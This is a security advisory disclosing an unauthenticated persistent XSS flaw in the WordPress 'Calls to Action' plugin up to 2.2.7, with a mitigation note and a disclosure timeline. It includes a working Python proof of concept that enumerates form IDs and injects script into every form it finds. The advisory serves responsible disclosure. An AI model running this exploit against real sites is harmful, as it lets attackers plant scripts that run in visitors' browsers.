WordPress Calls to Action <=2.2.7, Persistent XSS

The AJAX action ‘inbound_form_save’ allows unauthenticated users to update the content of any specific form on the site. In order to exploit this, a form ID must be enumerated using another unauthenticated AJAX action, ‘inbound_get_form_data’. Once a form ID has been enumerated, the content of the form may be overwritten a request like the one constructed in the PoC below. This allows for a Persistent XSS to be achieved on any page that a form is used, as no validation is performed on the input of the ‘shortcode’ field data.

Homepage

https://wordpress.org/plugins/cta/

CVSS Score

4.3

CSSS Vector

(AV:N/AC:M/Au:N/C:N/I:P/A:N)

Attack Scope

remote

Authorization Required

None

Mitigation

Update to version 2.2.8.

Proof of Concept

import requests,json
url = 'http://localhost/wp-admin/admin-ajax.php'

# Look for forms in ID 1 - 100, and modify content when one is found
for i in range(1,100):
	payload = {
		"action":"inbound_form_get_data",
		"form_id":i
	}
	r = requests.post(url, data=payload)
	try:
		r_data = json.loads(r.text)

		if r_data["inbound_shortcode"] != "":
			payload = {
				"action":"inbound_form_save",
				"post_id":i,
				"post_type":"inbound-forms",
				"shortcode":'[inbound_form submit="<script>alert(1)</script>"][inbound_field][/inbound_form]',
			}
			r = requests.post(url, data=payload)
			print "Form ID %s, XSS inserted"%i
	except:
		pass

Timeline

  • 2015-01-10: Discovered
  • 2015-01-11: Vendor notified
  • 2015-01-11: Vendor responded
  • 2015-01-12: 2.2.7 released – issues partly resolved – functions still available to all authorized users, and vulnerable to CSRF
  • 2015-01-13: 2.2.8 released – nonce added to prevent CSRF – issues resolved
  • 2015-01-15: CVE Requested
  • 2015-02-02: Advisory released